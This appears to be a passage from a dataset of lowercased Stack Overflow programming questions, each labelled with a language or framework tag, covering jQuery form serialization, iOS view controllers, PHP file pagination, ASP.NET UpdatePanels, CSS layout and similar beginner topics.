<pre><code>product_id=3&amp;quantity=1&amp;price_base=1&amp;markup_k=1&amp;markup_a=0&amp;price=1&amp;sales=true&amp;priority=1&amp;offered=shipped&amp;date=&amp;distributor_id=22&amp;create_delivery=false&amp;delivery_date=&amp;delivery_quantity=&amp;0=p&amp;1=r&amp;2=o&amp;3=d&amp;4=u&amp;5=c&amp;6=t&amp;7=_&amp;8=i&amp;9=d&amp;10=%3d&amp;11=3&amp;12=%26&amp;13=q&amp;14=u&amp;15=a&amp;16=n&amp;17=t&amp;18=i&amp;19=t&amp;20=y&amp;21=%3d&amp;22=1&amp;23=%26&amp;24=p&amp;25=r&amp;26=i&amp;27=c&amp;28=e&amp;29=_&amp;30=b&amp;31=a&amp;32=s&amp;33=e&amp;34=%3d&amp;35=1&amp;36=%26&amp;37=m&amp;38=a&amp;39=r&amp;40=k&amp;41=u&amp;42=p&amp;43=_&amp;44=k&amp;45=%3d&amp;46=1&amp;47=%26&amp;48=m&amp;49=a&amp;50=r&amp;51=k&amp;52=u&amp;53=p&amp;54=_&amp;55=a&amp;56=%3d&amp;57=0&amp;58=%26&amp;59=p&amp;60=r&amp;61=i&amp;62=c&amp;63=e&amp;64=%3d&amp;65=1&amp;66=%26&amp;67=s&amp;68=a&amp;69=l&amp;70=e&amp;71=s&amp;72=%3d&amp;73=t&amp;74=r&amp;75=u&amp;76=e&amp;77=%26&amp;78=p&amp;79=r&amp;80=i&amp;81=o&amp;82=r&amp;83=i&amp;84=t&amp;85=y&amp;86=%3d&amp;87=1&amp;88=%26&amp;89=o&amp;90=f&amp;91=f&amp;92=e&amp;93=r&amp;94=e&amp;95=d&amp;96=%3d&amp;97=s&amp;98=h&amp;99=i&amp;100=p&amp;101=p&amp;102=e&amp;103=d&amp;104=%26&amp;105=d&amp;106=a&amp;107=t&amp;108=e&amp;109=%3d&amp;110=%26&amp;111=d&amp;112=i&amp;113=s&amp;114=t&amp;115=r&amp;116=i&amp;117=b&amp;118=u&amp;119=t&amp;120=o&amp;121=r&amp;122=_&amp;123=i&amp;124=d&amp;125=%3d&amp;126=2&amp;127=2&amp;128=%26&amp;129=c&amp;130=r&amp;131=e&amp;132=a&amp;133=t&amp;134=e&amp;135=_&amp;136=d&amp;137=e&amp;138=l&amp;139=i&amp;140=v&amp;141=e&amp;142=r&amp;143=y&amp;144=%3d&amp;145=f&amp;146=a&amp;147=l&amp;148=s&amp;149=e&amp;150=%26&amp;151=d&amp;152=e&amp;153=l&amp;154=i&amp;155=v&amp;156=e&amp;157=r&amp;158=y&amp;159=_&amp;160=d&amp;161=a&amp;162=t&amp;163=e&amp;164=%3d&amp;165=%26&amp;166=d&amp;167=e&amp;168=l&amp;169=i&amp;170=v&amp;171=e&amp;172=r&amp;173=y&amp;174=_&amp;175=q&amp;176=u&amp;177=a&amp;178=n&amp;179=t&amp;180=i&amp;181=t&amp;182=y&amp;183=%3d </code></pre>   one can note that input names (like product_id) turns into like this   <pre><code>p&amp;1=r&amp;2=o&amp;3=d&amp;4=u&amp;5=c&amp;6=t&amp;7=_&amp;8=i&amp;9=d&amp;10= </code></pre>   and into <code>product_id=3</code>    why  how to solve this problem     the full code the following:   <pre><code>    $( #main_wrap ).on( click    .show_offer_info_modal_window   function() {     var product_id = $(this).attr( data-product-id );     $.ajax({         url :  manage/get_offer_info.php           type :  get           //datatype:  json           data : {         product_id : product_id         }  // конец data     success : function(data  textstatus) {         $( #modal_window ).html(data);         $( #modal_window ).append(close_link);          // валидация формы добавления предложения         $( #add_offer_form ).validate({          submithandler: function(form) {          console.log(jquery( #add_offer_form ).serialize());         $(form).ajaxsubmit({                             url :  manage/add_offer.php                               type :  post                               datatype:  json                               data : jquery( #add_offer_form ).serialize()  // конец data                         success : function(data  textstatus) {                             if ( data.result ==  success  )                             {                                 // и отобразить сообщение о результате                                 $(  #dialog  ).html( предложение успешно добавлено );                                 $(  #dialog  ).dialog({                                     dialogclass:  fixed-dialog                                       draggable: false                                      resizable: false                                      height:  auto                                       width:  350                                       modal: true                                      position : { my:  center   at :  center   of :  body  }                                      buttons: {                                             ok : function() {                                             $( this ).dialog(  close  );                                         }                                     }                                 });                                 $( .close-reveal-modal ).click();                                 $( [data-product-id= +product_id+ ] ).click();                                 //$( .back_link [data-id=add_offer] ).click(); // перелистывание назад  к первой странице в случае успешного добавления предложения                                 //$( #offers_container ).after( &lt;tr&gt; );                             }                             else                             {                                 // и отобразить сообщение о результате                                 $(  #dialog  ).html( произошла ошибка. попробуйте обновить страницу );                                 $(  #dialog  ).dialog({                                     dialogclass:  fixed-dialog                                       draggable: false                                      resizable: false                                      height:  auto                                       width:  350                                       modal: true                                      position : { my:  center   at :  center   of :  body  }                                      buttons: {                                             ok : function() {                                             $( this ).dialog(  close  );                                         }                                     }                                 });                             }                         }  // конец success                         error : function(xhr errmsg err) {                             $( #modal_window ).html( произошла ошибка. попробуйте обновить страницу. +close_link);                         } // конец error                     });         }          rules:{                   price_base:{                     required: true                      minlength: 1                      maxlength: 8                      number: true                  }                   quantity:{                     required: true                      digits: true                      maxlength: 6                  }                   sales:{                     required: true                  }                   distributor_id:{                     required: true                  }                   delivery_date:                  {                     required:  {                         depends: function(element){                             return $( #create_delivery ).val() !=  false                          }                     }                  }                   delivery_quantity:                 {                     required:  {                         depends: function(element){                             return $( #create_delivery ).val() !=  false                          }                     }                      digits: {                         depends: function(element){                             return $( #create_delivery ).val() !=  false                          }                     }                  }              }          });      }  // конец success     error : function(xhr errmsg err) {         $( #modal_window ).html( произошла ошибка. попробуйте обновить страницу. +close_link);     } // конец error     }); // конец ajax  }); // </code></pre>,jquery
errors when trying to get the value of a variable in another view  please i got errors when i try to read the content of a variable in view2 which was initialized in view1  i explain :    view1 is named <strong>rechercherviewcontroller</strong>    view2 is named <strong>stationssurlacarteviewcontroller</strong>    <strong>rechercherviewcontroller.h :</strong>   <pre><code>@property (nonatomic copy) nsstring *typecarburantchoisi; </code></pre>   <strong>rechercherviewcontroller.m :</strong>   <pre><code>@synthesize typecarburantchoisi; </code></pre>   <strong>stationssurlacarteviewcontroller.h</strong>   <pre><code>#import  rechercherviewcontroller.h   @interface stationssurlacarteviewcontroller : uiviewcontroller { iboutlet aidestationssurlacarteviewcontroller *aidestationssurlacarteviewcontroller;     iboutlet uitextfield *textfield;  } @end </code></pre>   <strong>stationssurlacarteviewcontroller.m</strong>   <pre><code>- (void)viewdidload {     [super viewdidload];     textfield.text=rechercherviewcontroller.typecarburantchoisi; } </code></pre>   when building the app  i got actually two errors :   <pre><code>error: expected specifier-qualifier-list before  stationssurlacarteviewcontroller  </code></pre>   and    <pre><code>error: accessing unknown  typecarburantchoisi  class method </code></pre>   thx for help :),ios
how to paginate search results from text file  how do i add paginate search results from text file     the text file   <pre><code>aaaaaa abbbbb cccccc ddddda eeeeee fffffa aggggg aahhhh </code></pre>   sample code   <pre><code>&lt; php // what to look for $search =  a ; // read from file $lines = file( file.txt ); foreach($lines as $line) {   // check if the line contains the string we re looking for  and print if it does   if(strpos($line  $search) !== false)     echo $line; } </code></pre>   if i run the php file  it shows all 6 search results   <pre><code>aaaaaa abbbbb ddddda fffffa aggggg aahhhh </code></pre>   and i want it to have a pagination like display only 5 results in page 1.,php
how to trim audio data   i wanted to remove last 5 second audio data  and save it to different location as new audio.i m trying to get it done by following code using extaudiofile service but here my audio output size is increasing from 2.5 mb to 26.5 mb..where am i wrong.     <pre><code>uint32 size;                                                                                                                                                                                           nsstring *docsdir; nsarray *dirpaths; dirpaths = nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes); docsdir = [dirpaths objectatindex:0]; nsstring *destinationurl = [docsdir                             stringbyappendingpathcomponent:@ audio3.m4a ]; nsurl * soundfilepath = [nsurl fileurlwithpath:[[nsbundle mainbundle]                                                 pathforresource:@ audio1                                                  oftype:@ m4a ]]; extaudiofileref inputfile= null; extaudiofileref outputfile= null; extaudiofileopenurl((cfurlref)soundfilepath  &amp;inputfile);  audiostreambasicdescription destformat;  destformat.mformatid = kaudioformatmpeg4aac; destformat.mformatflags = kaudioformatflagscanonical; destformat.msamplerate = 441000; destformat.mbytesperpacket = 2; destformat.mframesperpacket = 1; destformat.mbytesperframe = 2; destformat.mchannelsperframe = 2; destformat.mbitsperchannel = 16;     destformat.mreserved = 0;  osstatus createstatus =extaudiofilecreatewithurl((cfurlref)[nsurl fileurlwithpath:destinationurl] kaudiofilem4atype &amp;destformat null kaudiofileflags_erasefile &amp;outputfile); //extaudiofiledispose(outputfile); nslog(@ createstatus: %i   createstatus); //this is not needed as file url is already opened.    extaudiofileopenurl((cfurlref)soundfilepath  &amp;inputfile); //extaudiofileopenurl((cfurlref)[nsurl fileurlwithpath:destinationurl]  &amp;outputfile);    //find out how many frames long this file is   sint64 length = 0; uint32 datasize2 = (uint32)sizeof(length); extaudiofilegetproperty(inputfile  kextaudiofileproperty_filelengthframes  &amp;datasize2  &amp;length);  audiostreambasicdescription clientformat; clientformat.mformatid = kaudioformatmpeg4aac; clientformat.msamplerate = 441000; clientformat.mformatflags = kaudioformatflagscanonical; clientformat.mbitsperchannel = 16; clientformat.mchannelsperframe = 2; clientformat.mframesperpacket = 1; clientformat.mbytesperpacket = 2; clientformat.mbytesperframe = 2; destformat.mreserved = 0;  size = sizeof(clientformat);  //set the intermediate format to canonical on the source file for conversion ( )  extaudiofilesetproperty(inputfile  kextaudiofileproperty_clientdataformat  size  &amp;clientformat); extaudiofilesetproperty(outputfile  kextaudiofileproperty_clientdataformat  size  &amp;clientformat);  osstatus seekstatus = extaudiofileseek(outputfile  0);   nslog(@ seekstatus %i   seekstatus);  sint64 newlength = length - (5); //shorten by 5 seconds worth of frames   nslog(@ length: %i frames   length);  uint8 *buffer = malloc(64*1024); //64k   uint32 totalframecount = 0; while(true) {     audiobufferlist bufferlist;     bufferlist.mnumberbuffers = 1;     bufferlist.mbuffers[0].mnumberchannels = 2;     bufferlist.mbuffers[0].mdata = buffer; //pointer to buffer of audio data      bufferlist.mbuffers[0].mdatabytesize =64*1024; //number of bytes in the buffer       uint32 framecount = 64*1024 / 2; //2 bytes per frame             // read a chunk of input      sint64              outframeoffset;     extaudiofiletell(inputfile  &amp;outframeoffset)    ;     nslog(@ head status %i   outframeoffset);     osstatus status = extaudiofileread(inputfile  &amp;framecount  &amp;bufferlist);     totalframecount += framecount;      nslog(@ read status %i   status);     nslog(@ loaded %i frames and stopping at %i   totalframecount  newlength);      if (!framecount ||(totalframecount &gt;= newlength)) {         //termination condition          break;     }        osstatus writestatus = extaudiofilewrite(outputfile  framecount  &amp;bufferlist);     nslog(@ ws: %i   writestatus); }    free(buffer);  extaudiofiledispose(inputfile); extaudiofiledispose(outputfile); </code></pre>,ios
link open content in desktop program instead of browser  is it possible to to create an <code>&lt;a&gt;</code> tag that links to a particular resource such as an image or pdf and when the user clicks it  it will open in windows preview  adobe reader etc (whatever the default program is for that filetype) by using only a url scheme or something like that,html
using multiple updatepanels on a single page without interfering with each other  it seems that when multiple updatepanels are on a single page  anytime an asyncpostback occurs on one  all others will have their html reloaded. is there a way around this     <em>example</em>    <strong>example.aspx</strong>   <pre><code>&lt;asp:updatepanel id= updatepanel1  runat= server &gt;      &lt;contenttemplate&gt;         &lt;div style= border: 1px solid black; &gt;             &lt;asp:textbox runat= server  id= txttest1  /&gt;             &lt;asp:label runat= server  id= lbltest1  /&gt;             &lt;asp:button runat= server  id= btntest1  text= asyncpostback1  /&gt;             &lt;div onclick= this.innerhtml= wooo!  &gt;click me - updatepanel1&lt;/div&gt;         &lt;/div&gt;     &lt;/contenttemplate&gt; &lt;/asp:updatepanel&gt;  &lt;div onclick= this.innerhtml= wooo!   style= padding: 1em; &gt;click me. i m not part of an update panel&lt;/div&gt;  &lt;asp:updatepanel id= updatepanel2  runat= server &gt;      &lt;contenttemplate&gt;         &lt;div style= border: 1px solid black; &gt;             &lt;asp:textbox runat= server  id= textbox1  /&gt;             &lt;asp:label runat= server  id= label1  /&gt;             &lt;asp:button runat= server  id= button1  text= asyncpostback2  /&gt;             &lt;div onclick= this.innerhtml= wooo!  &gt;click me - updatepanel2&lt;/div&gt;         &lt;/div&gt;     &lt;/contenttemplate&gt; &lt;/asp:updatepanel&gt; </code></pre>   <strong>example.aspx.vb</strong>   <pre><code>protected sub btntest1_click(sender as object  e as eventargs) handles btntest1.click     lbltest1.text =  refreshed at   &amp; datetime.now.tostring() end sub  protected sub button1_click(sender as object  e as eventargs) handles button1.click     label1.text =  refreshed at   &amp; datetime.now.tostring() end sub </code></pre>   <strong>testing the issue</strong>   <ol> <li>click on all 3 of the divs with the  click me  text so that html is altered inside and outside of the updatepanels.</li> <li>click one of the buttons labeled  asyncpostback . regardless on which one is clicked  both updatepanels will have their html rerendered and replaced  as seen by the 2 divs inside the updatepanels resetting to their original text.</li> </ol>   <strong>so i ask  is it possible to have multiple updatepanels on the same page that don t cause each other to rerender every time one of them has a asyncpostback event.</strong>,asp.net
is a subsequence of a char[] equal to the contents of string   is there a quicker way to check that subsequence of a char array  from a specific index is equals that of a string    <pre><code>bool matches (char[] cs  int i  string s) {     return cs.skip(i).take(s.length).sequenceequal(s); } </code></pre>   assume that <code>cs</code> and <code>s</code> are never <code>null</code>.    quicker as in run time.  also can i be done without creating a new instance of a string  since both can be seen as char arrays.    i m hoping of something along the lines of <a href= http://www.cplusplus.com/reference/cstring/strncmp/  rel= nofollow >c s strncmp </a>,c#
page loads on local but doesn t on a host/server  so i ve been trying some html templates out and i ve spent 4 hours editing this certain template. it ran perfectly just for loading index.html --> chrome. once i uploaded the site to my hosting i noticed that the site keeps getting stuck on the loading screen.    i wanted to past the whole index.html file but i couldn t so i uploaded it here: <a href= http://pastebin.com/raw/p6z2qvd9  rel= nofollow >http://pastebin.com/raw/p6z2qvd9</a>    since i cannot paste the whole index code here  i ve also uploaded all the files to my hosting so you can view the website:    <a href= http://ziiran.xyz/notepad/  rel= nofollow >http://ziiran.xyz/notepad/</a>,html
integerforkey always crashes app  retrieving a value from <strong>standarduserdefaults</strong> using <strong>integerforkey</strong> after saving with <strong>setinteger:forkey</strong> always crashes app.     if i retrieve value using <strong>objectforkey</strong> and cast value to int  there are no errors and i can display value in a log message fine. however  when i attempt to assign that int to another int or try to perform a math function on it  like adding  it crashes app as well.     how do i retrieve an int that i ve saved to standarduserdefaults  i m developing against sdk 3.0 but have experienced identical issue in 2.2.1. thanks.    prefs defined as    <pre><code>nsuserdefaults *prefs; </code></pre>   and retrieveprefs always called before saveprefs. app also calls [prefs synchronize] before exiting.   <pre><code>-(void)retrieveprefs {     prefs = [[nsuserdefaults standarduserdefaults] retain];     if (prefs) {        // doesn t crash app  spits out  page: 1         nslog(@ page: %@   [prefs objectforkey:@ pageindex ]);          // crashes app with no details        nslog(@ page: %@   [prefs integerforkey:@ pageindex ]);      } }   -(void)saveprefs {     if (prefs) {         [prefs setinteger:1 forkey:@ pageindex ];     } } </code></pre>,objective-c
how to get $(foot  > .t ) in my code  i using jquery <pre><code>        var foot = document.createelement( div );         $( &lt;div class= t &gt;&lt;/div&gt;&lt;div class= b &gt;&lt;/div&gt; ).appendto(foot);         foot.id= foot ;         //*****         $(foot  &gt; .t ).mouseover(function(){...}) </code></pre>   i want to get the  .t  div element     but now  the  foot  div is not already appento the  document.body       so i can t use this $( #foot .t )     and i use this:$(foot  > .t )  but  i get the $(foot)     so how do i get the foot s  .t  element using jquery    thanks,jquery
lock mysql table inside stored procedure  i want to lock my all table until the stored procedure running. the only stored procedure can insert data into tables and even my rest apis those are accessing the same database should not able to insert.,mysql
creating an int and a switch for my quiz app for the iphone  right now i have am creating my first quiz app and have been trying to get into objective c. right now i have my interface set up minus one thing. there are five different categories of questions in my app.the way i have my interface set up i have my buttons set to be hidden or not hidden depending on the int.    for instance i have one category:   <pre><code>- (ibaction)category1:(id)sender{      category1.hidden = yes;     category2.hidden = yes;     category3.hidden = yes;     category4.hidden = yes;     category5.hidden = yes;      answer1.hidden = no;     answer2.hidden = no;     answer3.hidden = no;     answer4.hidden = no;      wrong1.hidden = yes;     wrong2.hidden = yes;     wrong3.hidden = yes;     wrong4.hidden = yes;      selectcategory.hidden = yes      int category1question = rand() % 100;     switch (category1question) {         case 0:             question.text = [nsstring stringwithformat:@ actual question in the quiz ]             right1.hidden = no;             wrong2.hidden = no;             wrong3.hidden = no;             wrong4.hidden = no;             answer1.text = [nsstring stringwithformat:@ correct answer here ];             answer2.text = [nsstring stringwithformat:@ wrong answer ];             answer3.text = [nsstring stringwithformat:@ wrong answer ];             answer4.text = [nsstring stringwithformat:@ wrong answer ];             break;         case 1:        //(etc. etc.)          default:             break;     }  } </code></pre>   right now i think i can figure out how to send back to the category selection page  but i would like to send straight to the next random question within the category and maybe even if they answer incorrectly show a label with the right answer. i think i know how to do the incorrect answer part  but having a switch to bring up the next question within the same category. i think that if i created a new int with it set to 0 and everytime they answer a questions it adds 1 to the int and then an if statement saying if the int = the number of questions then return to the category selection page. the problem is i am not sure exactly where i would do this. this app is strictly for my understanding of how coding works  and what i have for the quiz so far has taught me a lot  but i am lost at where to begin.     any help is appreciated and if i didn t give the appropriate info to help me please let me know.,objective-c
real time notifications on ios  i am developing an ios app which needs to receive regular data from the server at specific period of time (every 5 seconds).    apple gives developers some choices for background working.    i convinced that <code>background fetch</code> is the proper method for my problem. but when i tested it i got confused. <code>background fetch</code> has many issues with my requirements:   <ol> <li> it does not fetch data at period you defined when declared it: <code>application.setminimumbackgroundfetchinterval(uiapplicationbackgroundfetchintervalminimum)</code> i tried this and this: <code>application.setminimumbackgroundfetchinterval(5)</code>. but no guarantee that your app will fetch data at this interval. </li> <li> when the screen is off  your app will not make any fetch until the     phone is unlocked again. </li> </ol>   i wonder if there is a way that let my app receives real time data (or at least every 5 seconds).    <strong>note:</strong> i read about <code>remote notifications</code> and i do not guarantee that i can execute it now  so i am searching for other solutions.    thanks,ios
how can i improve this code  (implode/explode/unserialize)  im not satisfied im doing this the best way possible. im taking serialized code from database column <em>location</em>. im assuming that i have to implode the serialized data and then explode it because when i just use implode i cant access the entries in <em>counties</em> so i used explode. im sure there s a better approach    <pre><code>$adid = $_get[ id ]; $query =  select * from ad where id =  $adid  ; $data = mysqli_query($dbc  $query); $ad = mysqli_fetch_array($data);     //retrieve serialized data containing county id s     $counties = explode(     implode(     unserialize($ad[ location ])));  for ($i = 0; $i &lt;= count($counties); $i++) { echo getcounty($counties[$i]); //getcounty: enter county id and return county name }   fyi: $ad[ location ] = a:2:{i:0;s:1: 2 ;i:1;s:2: 20 ;} </code></pre>,php
how to implement right click with images using angular js  i am having an example of what i want to achieve given below in plunker.as 10 changes on right click i want an image there that should convert to some another image on right click.please help me out with this.    <a href= http://jsfiddle.net/bcaudan/vtzz5/  rel= nofollow >http://jsfiddle.net/bcaudan/vtzz5/</a>   <pre><code>app.directive( ngrightclick   function($parse) {     return function(scope  element  attrs) {         var fn = $parse(attrs.ngrightclick);         element.bind( contextmenu   function(event) {             scope.$apply(function() {                 event.preventdefault();                 fn(scope  {$event:event});             });         });     }; }); </code></pre>,angularjs
what is language interoperability (basic concept) in .net framework   i m reading <a href= https://en.wikipedia.org/wiki/.net_framework  rel= nofollow >.net framework</a> article in wikipedia  in the first paragraph describes the general concept of this framework  and it says:    <blockquote>    <em>it includes a large library and provides language interoperability (each language can use code written in other languages) across several programming languages.</em>  </blockquote>   when it declared that .net provides language interoperability  what is shared: the code or the code functionality     for example  i have the following simple code:   <pre><code>class math {    public double pow( double a  double b)    {       return math.pow(a b);    } } </code></pre>   do i have access to the c# code or the instantiation of the math object,.net
using an extend from a class or use composition  i have a abstract class called user and i m wondering if i have to add another class that requires a user does it need to extend from the class below or do i need to reuse the user class via composition  all help is greatly appreciated.   <pre><code>public abstract class user implements serializable {      protected string username;     protected string emailaddress;     protected date dob;     protected password password;      // initialisation constructor     public user(string username  string emailaddress             int d  int m  int y             string cpw  string uepw  int notries){       this.username = username;       this.emailaddress = emailaddress;       this.dob = new date(d  m  y);     }       this.password = new password(cpw  uepw  notries);     // assume that user also has ==&gt;     // 1. a tostring() method      // 2. an equals() method  and     // 3. appropriate set() and get() methods } </code></pre>,java
how to write a single sql query to single out a subgroup with several conditions regarding the number of feature and priority of the features  i have this <code>table</code>:    <a href= https://i.stack.imgur.com/zltzv.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/zltzv.png  alt= enter image description here ></a>    i need to get this <code>table</code>:    <a href= https://i.stack.imgur.com/9gocg.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/9gocg.png  alt= enter image description here ></a>    one class should correspond to one id. the class is selected as follows:   <ol> <li>the most common <code>class</code> for id is chosen (for example  id 222 corresponds to class c).  </li> <li>if the number of classes is equal (as for id 111)  then class is selected in accordance with the priority system (b is better c  c is better a).</li> </ol>   thank you in advance!,sql
how to remove parentheses from string  i have a string i want to remove    <pre><code>with open( company_inf1.csv    rb ) as inf :     reader = csv.reader(inf  delimiter=   )     reader.next() #skip header     for i row in enumerate(reader):         name  date  indus  nike1  nike2  nike3  paid  abbr = row         t = (map(str  (nike1  nike2  nike3)) ) # map &amp; merge the 3 cols together\         b = str(t) [1:-1]         c = b.replace(      \\  )         print( name  date  indus  b   paid  abbr) </code></pre>   my output is   <pre><code> ( abc    30-06-1987    service    [ nike1    nike2    nike3  ]     100     abs ) </code></pre>   i want to remove double quates out should be     i have try with replace and strip commands. but it is not help full to me.  and i want to save the test which i am printing the vale of b as test file    is there any idea how to do that,python
developed application for iphone converting into android  i developed an app. for iphone. same app i need to develop for android.    i found some stuff about. sencha  phonegap     does it work efficiently,iphone
to click button pass json data to other viewcont``roller tableview  i am developing an ios app..click on button to  pass the json array  to other uiviewcontroller tableview to show the data in tableview..in tableview array data pass on nsdictionary and to use dictionary object. error is  [__nscfdictionary objectatindex:]: unrecognised selector sent to instance 0x7b115560 ]...thanks in advance   <pre><code>// button click     bbauthordetailviewcontroller *bbauthordetail =[[uistoryboard storyboardwithname:@ main  bundle:nil]instantiateviewcontrollerwithidentifier:@ bbauthordetail ];           [bbauthordetail setselectiontype:bbselectionauthorname];         _serverobj = [[server alloc]init];          [_params setobject:_addetailsobj.authordetail forkey:@ author ];         [_serverobj bbauthornamewithparams:_params];      // bbauthordetail.data=resultsarray;     //nsindexpath *indexpath = [bbauthordetail.tableview indexpathforselectedrow];            bbauthordetail.data = [resultsarray objectatindex:indexpath.row];            nslog(@ %@  resultsarray);       //[bbauthordetail setmanagedobjectcontext:self.managedobjectcontext];     [self.navigationcontroller pushviewcontroller:bbauthordetail animated:yes];  uiviewcontroller table to show data  - (nsinteger)numberofsectionsintableview:(uitableview *)tableview {     return 1; }  - (nsinteger)tableview:(uitableview *)tableview numberofrowsinsection:(nsinteger)section {     return _data.count; }  - (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {     nsstring *cellidentifier = [nsstring stringwithformat:@ cell-%li   (long)indexpath.row];     bbadscell *cell = [tableview dequeuereusablecellwithidentifier:cellidentifier];    //   addetails *_addetailsobj = (addetails *)[_data objectatindex:indexpath.row];       // nsdictionary  *dic = [_data objectatindex:indexpath.row];     //addetails *_addetailsobj = [[addetails alloc]init];      if (cell == nil) {         cell = [[bbadscell alloc] initwithstyle:uitableviewcellstyledefault reuseidentifier:cellidentifier];         cell.row = indexpath.row;         //[cell setdelegate:self];     }   // error part      nsdictionary *dic = [_data objectatindex:0];       cell.textlabel.text = [dic objectforkey:@ post_author ];     return  cell; } </code></pre>,ios
how to replace a single string in a list in python   if i had a list  would i be able to replace a string in the list without replacing other strings of the same value     for example  in the list:   <pre><code>list1=[ mon    mon    tues    wed ] </code></pre>   how can i replace the first  mon  to  monday  without replacing the second  mon,python
how do i center my webpage   how do i center my webpage      something like <a href= http://camstudio.org/  rel= nofollow noreferrer >this</a>  notice the borders on both sides of the text    <pre><code>&lt;!doctype html public  -//w3c//dtd html 4.01//en &gt; &lt;html&gt; &lt;head&gt;   &lt;title&gt;sepia!&lt;/title&gt;    &lt;link rel= stylesheet  href= mystyle.css &gt;   &lt;style type= text/css &gt;     body {     padding-top: 14em;     padding-left: 30em;     text-align: center;     font-family: arial ;     color: #414189;     background-color: #0f0f0f}  ul.navbar {     list-style-type: none;     padding: 0;     margin: 0;     position: absolute;     top: 1em;     left: 10em;     width: 9em }  h1 {     font-family: arial }  ul.navbar li {     background: #0f0f0f;     padding: 0.4em;    }   ul.navbar a {     text-decoration: none }   a:link {     color: #0f0f0f}   a:visited {     color: #0f0f0f}   address {     margin-top: 1em;     padding-top: 1em }     &lt;/style&gt;   &lt;/head&gt;  &lt;body&gt;  &lt;!-- site navigation menu --&gt; &lt;ul class= navbar &gt;   &lt;li&gt;&lt;img src= c:\users\user\pictures\style\sepiaweb\button_demo5.png    alt= button 1  /&gt;&lt;/a&gt;   &lt;li&gt;&lt;img src= c:\users\user\pictures\style\sepiaweb\button_demo4.png    alt= button 1  /&gt;&lt;/a&gt;   &lt;li&gt;&lt;img src= c:\users\user\pictures\style\sepiaweb\button_demo4.png    alt= button 1  /&gt;&lt;/a&gt;   &lt;li&gt;&lt;img src= c:\users\user\pictures\style\sepiaweb\button_demo4.png    alt= button 1  /&gt;&lt;/a&gt;   &lt;li&gt;&lt;img src= c:\users\user\pictures\style\sepiaweb\button_demo4.png    alt= button 1  /&gt;&lt;/a&gt;   &lt;li&gt;&lt;img src= c:\users\user\pictures\style\sepiaweb\button_demo4.png    alt= button 1  /&gt;&lt;/a&gt; &lt;/ul&gt;  &lt;!-- main content --&gt;  &lt;p&gt;para 1  &lt;p&gt;para 2     &lt;address&gt;date&lt;br&gt;   sepia &lt;/address&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   <strong>edit:</strong>    tried it and it doesn t seem to be working  what did i do wrong  the text is centered but not the images.    <pre><code>&lt;!doctype html public  -//w3c//dtd html 4.01//en &gt; &lt;html&gt; &lt;head&gt;   &lt;title&gt;sepia!&lt;/title&gt;    &lt;link rel= stylesheet  href= mystyle.css &gt;   &lt;style type= text/css &gt;     body {     padding-top: 14em;     padding-left: 20em;     font-family: arial ;     color: #414189;     background-color: white}     wrap {    width: 900px;                 margin: 0 auto;               background-color: #0f0f0f}   ul.navbar {     list-style-type: none;     padding: 0;     margin: 0;     position: absolute;     top: 1em;     left: 1em;     width: 9em }  h1 {     font-family: arial }  ul.navbar li {     background: #0f0f0f;     padding: 0.4em;    }   ul.navbar a {     text-decoration: none }   a:link {     color: #0f0f0f}   a:visited {     color: #0f0f0f}   address {     margin-top: 1em;     padding-top: 1em }     &lt;/style&gt;   &lt;/head&gt;  &lt;body&gt; &lt;div id= wrap &gt; &lt;!-- site navigation menu --&gt; &lt;ul class= navbar &gt;   &lt;li&gt;&lt;img src= c:\users\user\pictures\style\sepiaweb\button_demo5.png  alt= button 1  /&gt;&lt;/a&gt;   &lt;li&gt;&lt;img src= c:\users\user\pictures\style\sepiaweb\button_demo4.png  alt= button 1  /&gt;&lt;/a&gt;   &lt;li&gt;&lt;img src= c:\users\user\pictures\style\sepiaweb\button_demo4.png  alt= button 1  /&gt;&lt;/a&gt;   &lt;li&gt;&lt;img src= c:\users\user\pictures\style\sepiaweb\button_demo4.png  alt= button 1  /&gt;&lt;/a&gt;   &lt;li&gt;&lt;img src= c:\users\user\pictures\style\sepiaweb\button_demo4.png  alt= button 1  /&gt;&lt;/a&gt;   &lt;li&gt;&lt;img src= c:\users\user\pictures\style\sepiaweb\button_demo4.png  alt= button 1  /&gt;&lt;/a&gt; &lt;/ul&gt;  &lt;!-- main content --&gt;  &lt;p&gt;para 1  &lt;p&gt;para 2     &lt;address&gt;date&lt;br&gt;   sepia &lt;/address&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,html
is there a way to combine these 3 tables  (mysql)  i m creating a  flagged  func that flags users  postings  and comments.     i am currently using three tables:  flagged_users   flagged_postings  and  flagged_comments .     and in each table  there s: flagged_id  user_id/posting_id/comment_id  reason.    is there a way to combine into just one table  or is 3 tables the best,mysql
forcing content to not overflow to the right of the screen  i m trying to make all content of all websites in my browser to squeeze to screen width by userstylesheets. i m stuck at making this work: <a href= https://developers.google.com/speed/pagespeed/psol  rel= nofollow >https://developers.google.com/speed/pagespeed/psol</a>    <a href= http://i.imgur.com/f4di6.png  rel= nofollow >the content doesn t use my browser s horizontal scrollbar</a> making <code>width:100%</code> selector useless. any other options     btw in <code>width:100%</code> i m assuming it s 100% of it s parent s width. how can i get 100% of screen width,css
python can t get polyfit function to work  i have an array  uniquemonths  with 12 elements (1 to 12) and one array of 8991 values. i want to use polyfit function to these values  but i don t get any output on aa variable and no error code either. maybe you could help me what is wrong  code:   <pre><code>aa = np.polyfit(uniquemonth values  1) </code></pre>,python
how to make system.uri not to unescape %2f (slash) in path   system.uri constructor insists on unescaping %2f sequences as foward slashes  when it sees them in path portion of url. how could i avoid that behaiviour     i ve seen <a href= http://connect.microsoft.com/visualstudio/feedback/details/94109/system-uri-constructor-evaluates-escaped-slashes-and-removes-double-slashes  rel= noreferrer >connect</a> ticket on this thig  but workaround is not working for .net 4 as far is i understand.,.net
how to read and echo specific line in text file  i m new to php. can someone show me an example of how to read a specific line of a file and echo it with php     for example i have a file called <em>note.txt</em>:   <pre><code>line1 line2 line3 line4 line5 line6 </code></pre>   from this file i only want to read and echo line2 till line5.    thank you before for all the answer,php
